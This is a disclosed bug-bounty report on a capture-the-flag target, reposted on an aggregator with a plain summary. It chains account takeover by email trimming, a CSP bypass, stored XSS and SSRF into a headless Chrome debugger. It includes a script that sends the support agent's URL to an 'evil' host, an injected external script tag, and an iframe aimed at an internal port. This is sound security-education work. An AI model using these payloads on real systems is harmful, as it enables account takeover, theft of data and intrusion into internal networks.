Skip to content
Account takeover Disclosed report Advanced

[h1-415 2020] Chain of vulnerabilities leading to account takeover and unauthorized access of sensitive internal resources

The report describes a chain of vulnerabilities: a regex logic error in QR code generation allowed account takeover by registering with a modified email, and a CSP bypass on the support portal enabled script execution on a support agent's client, leading to internal hostname exposure, insufficient authorization to update other users' details, and stored XSS combined with SSRF to access internal resources.

checkm50 Follow

Originally disclosed on HackerOne

Critical 9.0 View original
  • Triaged in 1 hour
  • Fixed in 12 days
  • Disclosed after 12 days

Note: Please read this report as "An attacker taking over a customer's account" and not as "helping Jobert recovering his document" :)

Summary:

Chaining following issues let's an attacker access sensitive information,

  1. Exposure of customer email and regex logic error leading to account takeover
  2. CSP bypass leading to arbitrary script execution on support portal and forced browsing
  3. Exposure of internal host name
  4. Insufficient authorization control allowing attacker to update other user's details
  5. Stored XSS + SSRF leading to port scanning and access to internal resources

Steps To Reproduce:

  1. Regex logic error leading to account takeover - [email protected] email exposed in source code 1a. '[email protected]' seems to be a customer of MyDocz and the system does not allow any new registration with same email ID 1b. Turn BurpSuite intercept on and capture following request, https://h1-415.h1ctf.com/register 1c. Modify the email ID parameter as '[email protected]<' , the flaw here is the QR code generation process trims following symbols {<>} 1d. Now after registration, save the QR code that the system generates 1e. Logout of the application and navigate to https://h1-415.h1ctf.com/recover 1f. Select the QR code saved previously and now you have become [email protected]

  2. CSP bypass leading to arbitrary script execution on support portal and forced browsing 2a. Support portal is vulnerable to HTML injection. One can bypass CSP rules like this https://raw.githack.com/mattboldt/typed.js/master/lib/@https://github.com/checkm50/checkm50.github.io/master/40.js 2b. This triggers script execution on support portal but it is self-xss 2c. Now right click on firefox/chrome and run following function, showReviewModal() 2d. Rating 1 star makes the support agent review the chat logs and hence the script can be executed on agent's client 2e. With a crafted script like below (Same as the script on 40.js), an attacker and gain information about the URL that the support agent is using,

    LOC
    var img1 = document.createElement('img');
    img1.src = 'http://evil/image.png?loc='+loc
    document.body.appendChild(img1);```
    
    
  3. Exposure of internal host name and user agent 3a. After performing step 2e, the attacker can now see the internal URL that the agent is using, https://localhost:3000/support/review/39b707f120c5fde356bf0f5daec51bee292d38862d2bc7d09ba032257365e2dd 3b. Attacker can change the 'localhost:3000' to 'h1-415.h1ctf.com' in order to access the chat page that the support agent is viewing

  4. Insufficient authorization control allowing attacker to update other user's details,

For further attack we need two accounts. We already have one, an attacker can also create trial account. We will refer to this account as second account 4a. As you can see, the review page from step 3a. contains an option to update user details 4b. Attacker can now update second account's "name" field, using following POST call, https://h1-415.h1ctf.com/support/review/39b707f120c5fde356bf0f5daec51bee292d38862d2bc7d09ba032257365e2dd name=<inject-here>&email=jobert%40mydocz.cosmic&username=jobert&user_id=<second account user_id>&_csrf_token=987d

  1. Stored XSS + SSRF leading to port scanning and access to internal resources 5a. From step 4b, we know that an attacker has to ability to update account information of another user 5b. This becomes worst because the attacker is also able to inject script like below name=<script src='external.com/some.js'>&email=jobert%40mydocz.cosmic&username=jobert&user_id=6&_csrf_token=987d 5c. An attacker can use this to inject an iframe like below and escalate the situation to SSRF (Port scanning and access internal resource) name=<iframe src='http://localhost:9222/json' width=900 height=900></iframe> 5d. 9222 port because the user-agent says that it is headless chrome hence 9222 which is the debugger port 5e. the /json end point reveals a secret document

The secret document contains,

h1ctf{y3s_1m_c0sm1c_n0w}

Supporting Material/References:

  1. Support-portal.png
  2. chat-review-page.png
  3. external-interaction-ssrftest.png
  4. user-update-ssrf.png
  5. The-FLAG.png

Special thanks to @pirateducky, @almadjus and @mcipekci :)

##Remediation:

Impact

An attacker is able to, achieve take over of customers account, compromise the integrity of the platform by updating other user accounts Infiltrate into internal network resulting in Critical impact

The original report as published on HackerOne, by checkm50. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely multiple root causes: a regex logic error in QR code generation that trimmed special characters from emails, a CSP bypass via an allowed script source, missing authorization checks on user updates, and insufficient output encoding leading to stored XSS.

Impact

An attacker could take over customer accounts, compromise platform integrity by updating other users' details, and infiltrate the internal network, resulting in critical impact.

What the attacker needed

A free account; victim has an account; support agent reviews chat

How it was found

  1. Capture the registration request and modify the email parameter by appending a '<' character.
  2. Complete registration and save the generated QR code.
  3. Log out and go to the recover page, then upload the saved QR code to log in as the victim.
  4. On the support portal, inject HTML that bypasses CSP and triggers script execution.
  5. Use the review modal with a 1-star rating to make a support agent review the chat, executing the script on their client.
  6. Use the exposed internal URL to access the support review page and update another user's details with a stored XSS payload, then use an iframe to access internal resources.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

This report shows how several small mistakes can be combined into a serious attack. First, a flaw in how the system handled email addresses during registration let an attacker take over another user's account. Then, a weakness in the support chat allowed running code in a support agent's browser, which exposed internal systems and let the attacker change other users' details and reach internal services.

What is Account takeover?

Getting into someone else's account through a flaw in sign-in, password reset, second factor, single sign-on or session handling.

More by checkm50

View all

1 more disclosed report, best first.

More from h1-ctf

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Account takeover

The lesson behind this report.

Getting into someone else's account through a flaw in sign-in, password reset, second factor, single sign-on or session handling.